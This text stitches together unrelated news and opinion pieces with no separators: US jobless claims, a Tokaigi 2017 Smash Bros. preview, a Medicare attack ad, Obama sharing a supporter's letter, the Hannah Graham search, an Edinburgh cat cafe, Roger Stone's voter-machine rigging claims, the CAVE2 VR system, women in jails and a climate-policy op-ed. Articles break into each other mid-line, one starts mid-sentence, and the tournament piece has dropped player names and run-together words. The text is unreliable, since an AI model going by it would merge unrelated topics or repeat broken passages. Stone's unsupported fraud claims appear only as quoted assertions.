Although applications for jobless benefits surged last week, they were unlikely to derail the nascent jobs recovery, analysts said. Signs of the improving labor market tone were also evident in the New York Fed survey, where the employment index jumped to a four-year high in April.
Labor market sluggishness has raised doubts about the durability of the economy’s recovery from its worst downturn in 70 years. Firming domestic demand is reducing some of the skepticism, however.
“We are going to see improvement in jobs even though we saw a jump in jobless claims earlier today. Other indicators show the labor market is improving,” said Nigel Gault, chief U.S. economist at IHS Global Insight in Lexington, Massachusetts.
President Obama’s popularity has taken a hit along with that of fellow Democrats given growing public impatience over slow economic recovery and high unemployment. This is threatening the Democratic Party’s prospects in the November congressional elections.
Retail sales surged in March, government data showed on Wednesday, and businesses have started rebuilding inventories.
Atlanta Federal Reserve Bank President Dennis Lockhart said on Thursday while the economy was doing much better, it still needs the “strong medicine” of low interest rates to deal with problems in housing an commercial real estate.
Resource usage, one of the factors being watched by the U.S. central bank to determine when to lift interest rates from near zero, edged up in March. Capacity utilization edged up to 73.2 percent from 73.0. It was still 7.4 percentage points below the 1972-2009 average.
Related Coverage Instant View: Jobless claims jump in latest week
Labor market woes continue to cause problems as a growing number of homeowners struggle to pay mortgages.
U.S. home foreclosures jumped 19 percent to a monthly record in March, driving first-quarter actions up 7 percent from the prior quarter, RealtyTrac said late on Thursday.
But there was a ray of hope for the troubled housing market. Home-builder sentiment rose to a seven-month high this month as consumers rushed to take advantage of the home buyer tax credit. An improving economic picture also helped to lift confidence.Image by [B]Kuba[/B]
Stream Information
Qualified Players
Spot Player Method Character(s)
1 Yuta "LG.Abadango" Kawamura Hirosuma Qualifier (1st place)
2 Kare~ TSC Qualifier (1st place)
3 ikep Sumabato Qualifier (1st place)
4 DNG Kameme Sumabato Qualifier (2nd place)
5 Shuton Sumabato Qualifier (3rd place)
6 Ranai Karisuma Qualifier (1st place)
7 Hiro Shulla-bra Qualifier (1st place)
8 Eliott "C9 Ally" Carroza Invitation
9 Samuel "RNG Dabuz" Buzby Invitation
10 Ramin "Elevate Mr.R" Delshad Invitation
11 Eric "PG ESAM" Lew Invitation
12 Nairoby "NRG Nairo" Quezada Umebura Qualifier (1st place)
13 KEN Umebura Qualifier (2nd place)
14 SHIG 9B Umebura Qualifier (3rd place)
15 TBD (02/11/17) Last Chance Qualifier (1st place)
16 TBD (02/11/17) Last Chance Qualifier (2nd place)
The Path to Tokaigi
Having also recently won Karisuma 11, ikep is no stranger to grand finals.
Nairo got his revenge on KEN for Umebura S.A.T.; the set count between them is now 2-2.
Who Will Win?
On, 16 of the bestplayers will gather into compete in. Organized by streaming platform Niconico and hosted yearly, the Tokaigi series features a multitude of games crossing many genres.at Tokaigi is an elite tournament, with competitors needing to qualify through one of a number of regional qualifying events or receive a special invitation. Every player in bracket is capable of winning tournaments, but only one of them can become champion.At Tokaigi 2016, Kanto's Yuta "" Kawamura and New Jersey's Nairoby "" Quezada clashed in grand finals, with Abadango and his Meta Knight emerging victorious. Both competitors will be returning this year along with a host of new faces. Last year's event also featured an appearance by none other than Masahiro Sakurai, who watched finals in person and presented a sneak peak of's final batch of DLC content. Though no official announcement has been made with regards to Smash at this time, Nintendo has confirmed their presence to promote the upcoming release of the Nintendo Switch.While many Japanese Smashers stream on Twitch, Tokaigi and its qualifiers are streamed exclusively on Niconico. You will be able to watch the Tokaigi 2017 finals here. The stream is scheduled to begin at(UTC+09:00). This puts it 14 to 17 hours ahead of most locations in the continental United States. Be sure to account for these time zone differences when tuning in. Also note that while you don't need to subscribe to Niconico in order to view the broadcast, watching the replays may require a subscription. In the past, several Twitch streamers have been kind enough to rebroadcast the tournament on later dates.Tokaigi 2016 featured two qualifying events: one in Kanto in conjuction with the Umebura series and one held in Kansai with Sumabato. The top 3 players from each of these tournaments got to compete along with Nairo, who was given a special invitation. This year, there have beenqualifiers so far, and there's still one more taking place the day of the final bracket. There were also more invitations: Elliot "" Carroza, Samuel "" Buzby, Ramin "" Delshad and Eric "" Lew will be joining the fray.The two largest qualifiers (Umebura and Sumabato) once again advanced the top 3 competitors to finals. There were also a number of smaller events held as part of the Hirosuma, TSC, Karisuma and Shulla-bra series for which 1st place was given a spot. This was done to ensure that most people wouldn't have to travel far for a chance at making the cut. Once a player qualified, they were barred from entering any further qualifiers so that those remaining wouldn't miss out.It's only fitting that the 2016 champion was the first person to qualify for Tokaigi 2017. Abadango won the Hirosuma qualifier without much of an issue, beating Mario Bros. master, Shulk prodigyand renowned R.O.B. mainalong the way. Shortly thereafter, Falcon mainsurprised a lot of people by winning TSC's qualifier over more familiar names such asand. These two could rest assured they wouldn't have to scramble to one of the later events, only to potentially come up short and miss out on qualifying.It's not unreasonable to expect that as more players made it into Tokaigi, the level of competition at the later qualifiers would drop. In reality, the exact opposite thing happened. Sumabato had the largest entrant total yet, with several notable players from outside of Kansai in attendance. In the end, the Bayonetta specialistput on quite the show, winning the event without dropping a set. His warpath included tournament favoritesand, who fortunately managed to qualify in 2nd and 3rd place, respectively. By winning Sumabato, ikep ensured himself an excellent seed in the final bracket.After a notable underperformance at Sumabato, the world's best Villager managed to redeem himself at Karisuma only dropped 2 games the entire tournament, which secured him his second consecutive invitation. Next, at Shulla-bra, the Kyushu locals were terrorized byand his Bayonetta. One year after Bayonetta was first demo'd to the public, it appears the character is still as potent a tournament pick as ever.The most recent qualifier to date was Umebura, and it was quite special. Last year's runner-up Nairo made an appearance to secure a runback. Though every bit as capable as the four invited players, the tournament organizers decided to prioritize foreigners who hadn't had a chance to compete at Tokaigi before. This meant Nairo would have to earn his spot just like anyone else. And earn it he did: after a shaky performance in pools, Nairo tore through the final bracket in spite of being a 3rd seed. Japan's strongest solo Sonic main,, finished 2nd while giving Nairo quite the scare in grand finals. And finally, the 3rd place qualifier was, another elite Bayonetta player who narrowly missed the cutoff at other events.There is still one more "last chance" qualifier: it will be held at Tokaigi 2017 the morning of the main tournament. Though many contenders still want to make it in, only the top 2 spots will advance to the final bracket. If playing against other highly-determined top players wasn't mentally taxing enough, these people will effectively play two tournaments in one day! The path to victory at Tokaigi is always grueling.Hopefully you're excited for what could be the fiercest invitational tournament of 2017! Though small in size, Tokaigi is arguably as competitive as other premier events. And with Nintendo likely watching, the stakes are as high as ever. You can view the final bracket (minus the two last chance qualifiers) here. Let us know who you think will win, and stay tuned to Smashboards for more tournament coverage!The ad, which aired this June, is aimed at New Hampshire rep. Charlie Bass who voted for the Ryan plan — and who endorsed Mitt Romney. Democrats know this is a winning issue for them. Republicans were scared by this very ad this summer and tried to get it taken off the air. But, as progressives want to remind them, they, and whoever their nominee is, have already yoked themselves to the Ryan plan. PCCC spokesman Neil Sroka gave the following statement on the ad buy: Tea Party Representative Charlie Bass voted to end Medicare and this issue is one of the reasons he endorsed Mitt Romney. By airing this ad during this weekend’s New Hampshire presidential debates, we are holding Charlie Bass accountable for voting to end Medicare and making sure that Republican presidential candidates cannot escape their party’s extremism on this issue.
That's the ad progressive groups Progressive Change Campaign Committee and Democracy for America are running in New Hampshire this weekend, to coincide with the GOP presidential debate and upcoming primary in that state.
Romney has whole-heartedly embraced the Ryan plan to end Medicare. That wasn't quite enough for Rick Santorum, who wants to destroy all vestiges of the program.
The ad will provide a nice reminder to New Hampshire voters of just how radical their Republican choices are. It's also a harbinger of the narrative Democrats and liberal groups will be hammering for the next 11 months. House Republicans voted nearly unanimously to end Medicare, and whoever ends up being the Republican nominee for president has endorsed that vote.Former President Barack Obama sees all you're doing today—be it striking, wearing red in solidarity, or just offering your support to the many women fighting for gender equality—and he wants to let you know that he and Michelle are with you.
But he also wants you to do one tiny little thing for him: read one woman's letter that was sent to him back in January (which seems like a fair request, given all the man's done for us?). Today, Barack shared the letter in its entirety on Medium:
On International Women’s Day, @MichelleObama and I are inspired by all of you who embrace your power to drive change. https://t.co/RJ0ZH2htU8 — Barack Obama (@BarackObama) March 8, 2017
"Read to the end" of the note, he writes, adding "(you won't regret it)."
The note was written by a 38-year-old feminist and mother who heard Michelle speak in 1996. It changed her life. "I'm proud of Michelle for the difference she made in this young woman's life, and I'm inspired by Sindhu's story—so I thought I'd share it with you today," he prefaced Sindhu's letter.
Here, what Sindhu wrote to the Obamas (emphasis in it Barack's):
One day in Fall 1996, an idealistic 17-year old Indian girl was inspired while sitting in a chapel. She didn't remember the name of the woman who spoke. But she will never forget the fire that was lit to make something of her life, and to use that life to serve others. That week, she signed up to be a volunteer at the hospital and signed up for an after-school program teaching creative writing and literature for underserved children in the community.
Twenty-one years later, that girl is now a 38-year old woman, a bit older in body, sometimes a bit jaded, but much younger in spirit. That woman fires up medical students to be passionate about behavioral sciences and psychiatry, serves children and adults struggling with mental illness, and continues an after-school outreach program to teach 6th graders about how to care for their mental health. That torch lit as a freshman at the University of Chicago continues to be ablaze.
That 17-year old was me. I later found out that the inspirational powerhouse of a woman who spoke was Michelle Obama.
I wanted to say thank you to the both of you. Thank you, Michelle, for helping a vulnerable teenager raised to comply to start to challenge the notion that she was powerless. Thank you, Michelle, for teaching by both words and example that the best uses of power and influence are in the service of others and our community. Thank you to both of you for your profound levels of activism within our community, leading up to a historic event that I did not think I would witness in my lifetime. Thank you for how you treated children, both your own and all of America's, with kindness, humor, and spontaneity.
I am now a middle-aged Indian woman who is married to an Indian feminist man and raising a feminist 3-year old son (whose middle name is Atticus and who thinks he is actually Thomas the train.) They are amazing. The ways in which you have impacted the world have left me expecting so much more from our world. And I know that this is not an expectation I can have without being part of that change. The events from this week, this amazing women's march, echoed globally that the expectations I have are not ones I hold in isolation. I want a different world. I need a different world.
So when you get back from your vacation, I wanted to let you know.
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ALBEMARLE COUNTY, Va. -- The Chesterfield Sheriff’s Department sergeant who discovered human remains while searching for missing University of Virginia student Hannah Graham said he believed God wanted them to find what they found.
Sgt. Dale Terry said his five-person team had finished their search mission near Walnut Creek Park around noon Saturday when something came over him to check nearby properties. That is where the remains were located.
"I don't know how else to explain it," he said. "Something inside me just told me to continue to look."
Terry said his search team felt compelled to volunteer to find Hannah Graham in an effort to bring closure and justice for her family.
"We stayed positive, upbeat," he said. "We knew we were here for a mission to bring closure and hopefully that's what we've done."
Terry led the search team that found remains along an abandoned property off of Old Lynchburg Road in southern Albemarle County. Saturday’s discovery came more than a month after Graham was last seen walking along the Downtown Mall in Charlottesville, Virginia on September 13.
The remains were taken to the Medical Examiner’s Office in Richmond to be autopsied and positively identified.
“These are human remains,” Charlottesville Police Chief Tim Longo said at a press conference Saturday evening. “Forensic tests need to be conducted to determine the identification of those remains.”
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The public search for Hannah Graham scheduled for Walnut Creek Park on Sunday was canceled, by the Virginia Department of Emergency Management.
“Authorities are focusing their attention on recent evidence, which limits law enforcement resources necessary to carry out a public search," a Virginia Department of Emergency Management spokeswoman said.
Anyone with information about Jesse Matthew, Hannah Graham or Morgan Harrington is asked to call the tipline at 434-295-3851. All Hannah Graham surveillance videos can be seen here. All reports filed on this case can be found here.
[Editor's note: A previous version of this story contained information from law enforcement that was later removed at the request of investigators in this case.]THE Capital’s first ever cat cafe is set to open its doors to the public next month.
Maison de Moggy in Stockbridge will allow customers to sip a cuppa while enjoying the company of a fluffy chinchilla Persian, a duo of outgoing Bengals and a dozen other resident cats.
The quirky concept, which originated in Japan, has grown in popularity across Europe.
And Edinburgh employment lawyer and entrepreneur Laura O’Neill, 27, is preparing to bring Scotland its first taste of that culture after signing a temporary lease for a pop-up cat cafe on Hamilton Place.
A team of city designers are already working to revamp the premises to cater for Ms O’Neill’s pack of felines, which were all specially bred for social interaction. A room filled with toys and climbing spots will allow customers a chance to play with the younger, more outgoing cats – while a separate quiet area will focus on maximising cuddle time.
“In June, I went on a trip to Japan and absolutely fell in love with the entire cat cafe concept,” Ms O’Neill explained.
“A lot of people aren’t able to keep pets, and so visiting these cafes and spending time with the animals can be really therapeutic for them. When I got back to Scotland, I decided the people of Edinburgh needed to be able to experience that concept, too.”
Ms O’Neill is now set to make that dream become a reality, and since June has been sourcing rare cats and kittens from across the UK. She is now on the hunt for full-time cat nannies to look after the animals.
“The biggest concern will always be making sure the cats are happy,” she said.
UK vets have warned against the potential danger of relegating felines to the cafe lifestyle.
But a spokesman for International Cat Care said concept can be beneficial for both human and feline.
He said: “Research shows numerous health benefits associated with animal ownership, including reduced stress levels and lowered risk of heart disease. The human animal bond is what makes pet ownership so fulfilling. So it is not difficult to see the attraction of ‘pet rental’ to those who can’t have a cat at home.”
Ricky Phillips, of the Stockbridge Traders Association, said Moggy de Maison would be a welcome addition to the area.
“We’re already one of the most dog-friendly neighbourhoods in Edinburgh, so it only makes sense we’re being equally as cat-friendly,” he said. “This idea sounds fun and I’m really interested to see how it will turn out.”
Ms O’Neill isn’t the only entrepreneur looking to introduce cat cafe culture to the capital – sisters Marta and Anna Tajsiak have launched a crowd-funding campaign to help them start a similar venture in Marchmont and say they are now working to finalise legal arrangements so they can open a cat cafe of their own.
“The goal is to be up and running early next spring,” Marta said.Republican strategist, lobbyist, and Donald Trump confidante Roger Stone joined Breitbart‘s Milo Yiannopoulos on the latest episode of the Milo Yiannopoulos Show to discuss voter fraud and how Trump has the ability to beat it.
“I think your audience knows, I think we all know, that in this day and age, a computer can do anything. These voter machines are essentially a computer. Who is to say they could not be rigged?” asked Stone on the topic of voter fraud.
“Of course they can. Now, you ask me why the Republicans don’t do it, but sadly I think they do,” Stone said. “That’s why I briefly had to leave the Republican Party and become a Libertarian.”
“I have no doubt that after the last election, when Karl Rove, who was George Bush’s campaign manager and a Romney partisan, insisted that ‘no no, your numbers have to be wrong,’ he said on Fox, ‘Romney definitely carried Ohio,’ and the reason he was so certain is because it was bought and paid for,” he claimed. “He knew the fix was supposed to be in. Therefore I can only conclude that sometimes things don’t stay bought, and perhaps Obama came in with a better offer.”
“This stuff is going to horrify most voters, I mean this is amazing,” added Yiannopoulos.
“There’s a mathematician called Richard Charnin, a very eccentric fellow. Last time I met him he was wearing a ski jacket in 90 degree weather, he’s one of those. He’s also brilliant,” replied Stone.
“He’s a retired mathematician and he’s a genius. He’s written an extensive monograph on how every election in the state of Wisconsin in the last decade has been stolen, and you figure this out by comparing the polling, on a district by district basis, to the results, and then you’ll find a swing that is mathematically impossible,” Stone claimed. “In other words, you were losing a given precinct by four points, and then you’ll win it by twelve. Such a swing is unlikely to say the least.”
“Do they typically move in one direction?” asked Yiannopoulos.
“Yeah, the elections are rigged for one entity or another. So, who are the perpetrators? The perpetrators are the people who manufacture and sell these machines. The most common electronic voting machine, which is really just a computer, is a company called Diebold,” Stone replied.
“Diebold’s top executives and owners of the company are major donors to the Bush’s. Is this a major factor on how George W. Bush quite improbably beat John Kerry? An election that all truths on paper, Kerry should’ve won, and Bush should have lost,” questioned Stone.
“I think we have widespread voter fraud, but the first thing that Trump needs to do is begin talking about it constantly,” Stone said. “He needs to say for example, today would be a perfect example: ‘I am leading in Florida. The polls all show it. If I lose Florida, we will know that there’s voter fraud. If there’s voter fraud, this election will be illegitimate, the election of the winner will be illegitimate, we will have a constitutional crisis, widespread civil disobedience, and the government will no longer be the government.’”
“If you can’t have an honest election, nothing else counts,” he continued. “I think he’s gotta put them on notice that their inauguration will be a rhetorical, and when I mean civil disobedience, not violence, but it will be a bloodbath. The government will be shut down if they attempt to steal this and swear Hillary in. No, we will not stand for it. We will not stand for it.”
“So, I mean the dream here, the ultimate ideal is that he wins by such a significant margin nationally that this is unnecessary,” Yiannopoulos concluded. “But it’s interesting to hear you say this, and it’s funny also, because Trump will go there. He will go to the places other politicians wont, and he’s probably the only person to run for president within the last fifty years who would dare to do this, and might even get away with it. It’s remarkable isn’t it how he’s just sort of re-injected reality into politics”.
You can listen to the entire show, as well as previous episodes on PodcastOne now, or listen to the show on the move by downloading it for free on iTunes.
Charlie Nash is a reporter for Breitbart Tech. You can follow him on Twitter @MrNashington or like his page at Facebook.It's easy to get lost in CAVE2. The next-generation virtual reality platform is one of the most advanced visualization environments on Earth. It combines 320 degrees of panoramic, floor-to-ceiling LCD displays with an optical tracking interface that gives rise to a "hybrid reality system" capable of rendering remarkably immersive 3D environments — whether you wish to explore the labyrinthine vasculature of the human brain, or soar swiftly over the vast canyons of Mars.
As its name suggests, CAVE2 is a sequel. Developed by the Electronic Visualization Laboratory (EVL) at the University of Illinois at Chicago, the "hybrid reality system" is a direct followup to the original CAVE — a small, cube-shaped room that debuted way back in 1992. Like its predecessor, the "AVE" in CAVE2's name stands for "automatic virtual environment" (the recursive acronym's "C" stands for "Cave"). But that's pretty much where the similarities end.
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Everything about CAVE2 is big. A cylindrical enclosure, it measures 24 feet in diameter and 8 feet tall. Its interior surface is lined with 20 strategically placed ambisonic speakers, and covered floor-to-ceiling with 72 3D LCD screens. Said panels give you a 320-degree view and output at 37-megapixels each in 3D (7,360 x 4,912 pixels, or twice that in 2D), giving rise to a pixel density on par with that of the human eye's angular resolution at 20/20 vision.
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Headgear is required for 3D mode, in order to parse the stereoscopic imagery coming from each screen; its position is pintpointed by a 10-camera optical tracking system. The entire setup is powered by 36 high performance computers, and allows for user-controlled immersion by virtue of a hand-held wand. While the original CAVE constituted a dramatic first step in the field of virtual reality, its recently unveiled descendent brings the potential of immersive VR environments into unprecedented focus.
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The parallels between CAVE2 and Star Trek's Holodeck, or the parlor walls envisioned in Ray Bradubury's Fahrenheit 451, are immediately obvious, and far from accidental. The project was led by EVL director Jason Leigh, who is dressed as a Jedi in his official headshot, and clearly identifies with CAVE2's futuristic, science-fictional side. But the computer scientists behind CAVE2 emphasize it was also designed with immediately urgent real-world applications in mind.
"In the next five years, we anticipate using the CAVE to look at really large-scale data to help scientists make sense of that information. CAVEs are essentially fantastic lenses for bringing data into focus," Leigh said in an interview with AP's Carla Johnson. The applications, claims the introductory video featuredhere, are virtually limitless, and could impact fields as diverse as space exploration, archaeology, architecture, and medicine.
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"You can walk between the blood vessels," said neurosurgeon Ali Alaraj, recalling the first time he used CAVE2. "You can look at the arteries from below. You can look at the arteries from the side....That was science fiction for me."
"It's fantastic to come to work," says Leigh. "Every day is like getting to live a science fiction dream. To do science in this kind of environment is absolutely amazing."
Read more about CAVE2 at UIC's Electronic Visualization Laboratory.
Top photo by Charles Rex Arbogast via APFollow me on www.facebook.com/pages/GrungeTV Follow me on
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A colossal battleship, 'Tarasque', is launched from a secret location on the island of Olestrii on the planet Tanmaugh. Five years under construction, it is now ready |
of debt, as they are billed for everything from sheets and medical care in jail to supervision fees, court fees, drug testing fees, and a slew of other costs once they are released. When you consider that, for instance, about half of black and Hispanic women who arrive in jail have zero or negative net wealth, the injustice of the system becomes painfully obvious.
So far, few jurisdictions have recognized that the growing number of women they incarcerate comes with a specific set of issues — and because of jails’ decentralized nature, many fights to improve the conditions have been waged locally and with limited resources and attention, particularly in smaller and less populated counties. In Michigan, for instance, the ACLU sued Muskegon County Jail in 2014 for denying women menstrual hygiene products, toilet paper, and clean underwear — a problem reported at a number of other facilities across the country. Access to contraception and abortion has also been limited and varies widely by location.
But at a more macro level, only a few jurisdictions are considering the unique circumstances of women’s detention and addressing them specifically, and even less are approaching incarceration as the last possible resort as opposed to a routine “stopgap” for women whose low-level crimes are almost always a direct result of public policy failures.
Photo: John Moore/Getty Images
Reducing the number of women in jail — as with men — is a complex endeavor that should involve a number of actors in the criminal justice system: from the police who make the decision to arrest, book, and release someone, to the prosecutors who determine the extent of their charges, to the judges setting bails and sentences, to the corrections agencies working with released detainees on the implementation of their bail and parole conditions. While different jurisdictions have adopted piecemeal approaches to intervene at one stage of the chain or the other, most have failed to look at the problem comprehensively.
“Once women are in jail, their cases start moving through the system in a kind of assembly-line justice mode,” said Swavola. “There’s not a lot of consideration for who these women are or the circumstances that brought them into the system; it’s really not an individualized process.”
That individualized process is exactly what’s needed, advocates argue, and what works better to keep women from returning to jail over and over. Probation, for instance, according to the report, is the phase of the chain where many women fail to meet conditions imposed on them and are re-arrested. That’s also the phase where significant intervention, and provision of support rather than punishment, should focus, advocates argue.
Connecticut, for instance, is one of the few states that is providing differential services for jailed men and women. Probation officials there took a “team approach” to dealing with women on probation, partnering with community organizations providing health, employment, and family services, and involving them in a case-by-case plan under the lead of “gender-responsive case managers,” as officials have called probation staff who have undergone specialized training. In a pilot study of the approach, local officials found that 36 percent of women who had received this kind of multipart support system while on probation were re-arrested — as opposed to 49 percent of those who hadn’t.
These are small steps, but they may suggest a way forward, and they point to the need for resources and services that have little to do with the justice system.
“What we did is really look at how we use our community services, and our community providers, as well as the Department of Mental Health and Addiction Services, and the Department of Children and Families, and work with other agencies to support different women’s needs so that when they leave us, and while we’re working with them, they can get their needs addressed,” said Barbara Lanza, a program manager in the Connecticut Judicial Branch’s Court Support Services Division.
“[Women] are very complex and they’re involved in multiple systems,” she told The Intercept. “That makes it even more challenging. There are a lot of single moms that are the sole providers for their children; it’s very, very complex.”When President Obama flew to Alaska to talk about climate change, I was in Owls Head, Maine, a beautiful harbor village on Penobscot Bay. I go there each year to visit with nature and myself, and always bring Henry David Thoreau along to help with the introductions. Thoreau hated politics. Not me. Reading his ruminations side by side with Obama’s got me thinking of our gorgeous, vulnerable planet and what it would really take to save it. I’m grateful for Obama’s heightened interest in the topic, but the crisis demands far more than he currently has on offer.
Obama says he chose Alaska to talk about climate change because its effects are so visible there. With temperatures warming and sea levels rising faster than in most other places, the visuals are indeed dramatic: shrunken glaciers, polar bears on ice floes, a whole village sinking into the sea. But in a way it was a poor choice. To many Americans, climate change seems remote. So does Alaska. Obama could have gone anywhere, the effects of climate change being visible everywhere.
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He could have come to Owls Head, where the ocean’s warming even faster than it is in Alaska. It’s why Maine scrapped this year’s shrimping season. There may not be another; in the last five years 95 percent of Maine shrimp have gone missing. News is better for Maine lobstermen hauling in record catches, including lobsters newly arrived from overheated fisheries to the south. The hitch is the lobsters are still in transit; in seven years their population center has moved 12 miles north, from mid-coast Rockland to down east Stonington. The last stop on that line is Canada.
Maine moose are also faring poorly. Warmer winters mean thousands more ticks feeding on their blood. No one’s sure how many moose have perished. (Maine doesn’t keep the best records these days, due partly to having a nitwit for a governor.) But we know New Hampshire’s moose population has shrunk by 40 percent; Minnesota’s by 60 percent. Maine can’t be too far behind them.
The idea of Maine without lobsters or moose breaks my heart, but you may be less affected; to some of my Connecticut friends, Maine is as remote as Alaska. So pick a state that interests you, any state. As Obama bemoaned the 5 million acres of forest lost to fires in Alaska this year, 16 forest fires raged simultaneously in Washington. There are 12 forest fires burning right now in California, which grows half our fruits and vegetables and is suffering its worst drought in 1,200 years. The proof is everywhere you look; in a Rocky Mountain snow pack that melts too soon; in Midwest rains that won’t fall when or where farmers need them.
Environmentalists may be focused on the wrong water levels. Somehow the threat of rising seas isn’t as clear to Florida’s conservatives as it is to Alaska’s Inuit, but in the red states of the High Plains and Southwest, farmers and cattle ranchers reliant on the faster falling water tables of the Ogallala Aquifer and Colorado River basin are waking up. Soon they’ll realize Fox News was lying to them all along and go calling on Rupert Murdoch to settle accounts, or so I like to imagine.
Weather isn’t just warmer, it’s weirder. Kansas was struck this year by floods and drought. Anchorage had hardly any snow—they had to move the Iditarod sled race twice to get to where the snow was -- but Boston had more than it could cart away in trucks. Such weather oddities left people scratching their heads. You might say that by getting us talking, the weather provided the leadership on climate change. Here we do see a familiar pattern; a crisis wherein the public is left to educate itself.
Just as same-sex marriage and the minimum wage were left to state referenda or courts to decide, climate policy is left to executive orders and treaties that don’t need ratifying. That Congress acts only to obstruct is mainly the fault of Republicans and the fossil-fuel industry, but also of Democrats who won’t talk about tough issues till their pollsters blow the all’s-clear whistle. When a progressive political party won’t inform and arouse the public, people question its reason for being.
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The leitmotif running through all of Obama’s remarks in Alaska was the urgency of the crisis, as evidenced in his big address to a White House-sponsored climate conference in Anchorage:
But the point is that climate change is no longer some far-off problem. It is happening here. It is happening now…We’re not acting fast enough… The time to plead ignorance is surely past…On this issue as on all issues there is such a thing as being too late. That moment is almost upon us.
Obama warning us now about climate change is a bit like Paul Revere waiting a week to alert those Middlesex villages and farms. (The British are here!) The hour is indeed late and made later by his near silence on the matter in his first term. But a president who truly engages the issue on a world stage is automatically the most important climate leader around. Obama’s doing that now. The question is whether his proposed policies will get the job done. Some people think so.
In a recent New York piece aptly titled "The Sunniest Climate-Change Story You’ve Ever Read," Jonathan Chait argues that a combination of public policy and technical innovation is enabling a giant leap forward in the fight to reduce carbon emissions. Before laying out his case, Chait accuses many environmentalists of defeatism:
The drama has taken on an air of inevitability, of a tragedy at the outset of its final scene—the tension so unbearable, and the weight of looming catastrophe so soul crushing that some people seek the release of final defeat rather than endless struggle in the face of hopeless odds.
Chait doesn’t say how many people he knows feel this way, or what’s being done to help them. He does cite a “morbidly ostentatious” New Yorker article in which novelist Jonathan Franzen opined that “drastic planetary overheating is a done deal.” Just the opposite, says Chait:
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But guess what everyone’s been missing in the middle of their keening for the dear soon-to-be-departed Earth? … Not just incremental good news but transformational good news…. The game is not yet over. And the good guys are starting to win.
Chait lists some impressive stats. China will add 18 gigawatts of solar capacity this year, an amount equal to total U.S. capacity, and reach peak carbon emission by 2030, 20 years ahead of schedule. The U.S. has closed 200 of its 523 coal-powered plants since 2009. Obama’s new Clean Power Plan may shutter the rest. The price of solar energy is plummeting. Chait thinks a “rough global consensus” will lead to a breakthrough at December’s U.N. climate conference in Paris. All he sees blocking the way is the prospect of a GOP victory in 2016.
Better manic than depressive, I always say, but too much optimism can also be disabling. Chait’s right on the technology, but the bigger picture is darker than he paints it. Green technology is on the rise. So are carbon emissions. 2015 will mark a third straight year of rising U.S. emissions. With a stable economy and continued low gas prices 2016 will likely be the fourth. China reaching peak emission by 2030 means 15 more years of annual increases in emissions by the world’s biggest carbon polluter.
The right calls climate scientists alarmists. In fact their predictions have proved too conservative. Global warming has hit the earth’s ecosystem harder and sooner than almost anyone foresaw back in the '90s. How hard? A review published in the journal Science pegs species extinction at 1,000 times its natural rate. It’s the first mass extinction event since dinosaurs said their goodbyes 65 million years ago. Climate change isn’t the only culprit but it’s the biggest one. The Times characterized Obama’s Anchorage address as “bordering on the apocalyptic” to which it might have added the words, "appropriately enough."
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The Paris conference will craft one of those "treaties" a Republican Senate needn’t ratify. But there are other ways for Republicans to sabotage any deal coming out of Paris. They can win the White House and scuttle Obama’s EPA rules and China deal; or win Congress and balk at helping poor nations pay for carbon mitigation; or lose the White House and Congress but win their well-funded state-level war of attrition. In 2012, the right-wing American Legislative Exchange Council (ALEC) hatched a campaign to allow state utilities to charge monthly fees of up to $50 to customers with solar panels. Last week California Republicans killed a plan to cut gas consumption in half by 2030. Last month 15 red states sued to delay Obama’s clean power plan. Say what you will about the Republicans, they aren’t quitters.
And they aren’t the only problem. In 2010 Hillary Clinton, nominal front-runner for the Democratic presidential nomination, said she was “inclined” to approve the Keystone XL pipeline. In July she told a man at a New Hampshire town hall meeting he’d get her final answer when she became president. As Bill McKibben noted in an open letter to her, she spent her years as secretary of state flying around the world telling developing nations to get into the fracking business.
Where money is concerned Clinton’s sense of entitlement clouds her ethical sense. The Huffington Post reports that two Canadian banks backing the pipeline ponied up most of the $1.6 million she collected for eight speeches given from 2014 to 2015. One of the banks laid out another $1.6 million to hear Bill talk. The Clintons see nothing wrong in it, but the banks knew what they were buying. No reform will be safe until the entire "pay to play politics" machine, not just the Clintons’, is smashed.
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Say the world gets to yes, the hapless Democrats run the table in 2016 and evil ALEC grows a heart. The U.N. accord, China deal and Obama’s clean power plan are locked in for four years. Where are we? Better off than we were, but the comparison isn’t to how we were doing, or to what Republicans would do. The correct comparison is to the problem. Are current policies enough to avert global disaster? Many say no.
The most widely accepted goal of climate policy is to limit the rise in global temperature to 2° C by the century’s end. Most scientists think if we can hold that line we’ll still suffer great losses—that much is inevitable now— but may be saved a far worse catastrophe. Can the Paris conference get us there? The Yale School of Forestry’s Environment 360 just carried a piece titled, "Will the Paris Climate Talks Be Too Little and Too Late?" In it, author Fred Pearce said this:
Many of the pledges sound ambitious but analysis suggests they fall far short of what is likely to be needed to prevent global warming beyond 2° C (3.6F) later this century.
Pearce quotes Bill Hare, a lead author for the Nobel Prize-winning Intergovernmental Panel on Climate Change, (IPCC): "It is clear that if the Paris meeting locks in present climate commitments for 2030, holding warming below 2 degrees could essentially become infeasible."
Obama’s Clean Power Plan is just as shaky. It leaves implementation to the states, which have till 2018 to draft a plan and 2022 to get it up and going. So for seven years everybody gets a pass. And if a red state doesn’t get around to writing a plan, is anyone jailed or fined? Does it lose a little federal aid? The answer here is "none of the above." The EPA may impose a plan, not just any plan, but the late, lamented "cap and trade"; the elephantine creature that died a slow motion death in Obama’s first term. How well that would work no one can say.
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The plan is just part of what Obama calls his “all of the above strategy.” He brags that America is now the world’s leading oil and gas producer. Like Clinton, he loves fracking. He loves fracking because he loves natural gas, which he calls a "bridge" to a clean energy future. He’s just as fond of offshore drilling. In January he signed off on leases from Georgia to Virginia, ending a decades-long ban on Atlantic drilling. In March, he auctioned off a million acres of the Gulf of Mexico. In August he gave Shell the go-ahead to drill in treacherous Arctic seas 70 miles off Alaska’s coast. It’s as if he and not Sarah Palin ran on the slogan "drill baby drill."
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This is what Earth may look like after a 3° rise in temperatures: sea levels rise by 35 to 75 feet, wiping out every major coastal city and forcing mass evacuations on every continent; whole nations in tropical or desert climes become uninhabitable; what’s left of Europe suffers temperatures well above those that took 25,000 French and German lives in the great summer heat wave of 2003; America’s breadbasket becomes a dust bowl; people the world over go to war over water.
Democrats ridicule Republicans as science deniers, which of course they are. But when it comes to science many Democrats have selective hearing. If experts from MIT, the IPCC and the IEA say a global holocaust is coming and we aren’t doing enough to stop it, we must listen. Science isn’t infallible. But given the odds and the stakes, we must act faster and more forcefully than any leading Democrat now proposes.
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In his New York piece Chait asserts that while “all or nothing” thinking can be a “useful tool for communicating urgency to the public” it is also be “a trap into which many of us—especially environmentalists—have fallen.” He concludes: "…the fight to save the Earth from climate change is not something that will be 'won' or 'lost.' Climate change is a problem of risk management, albeit on a planetary scope."
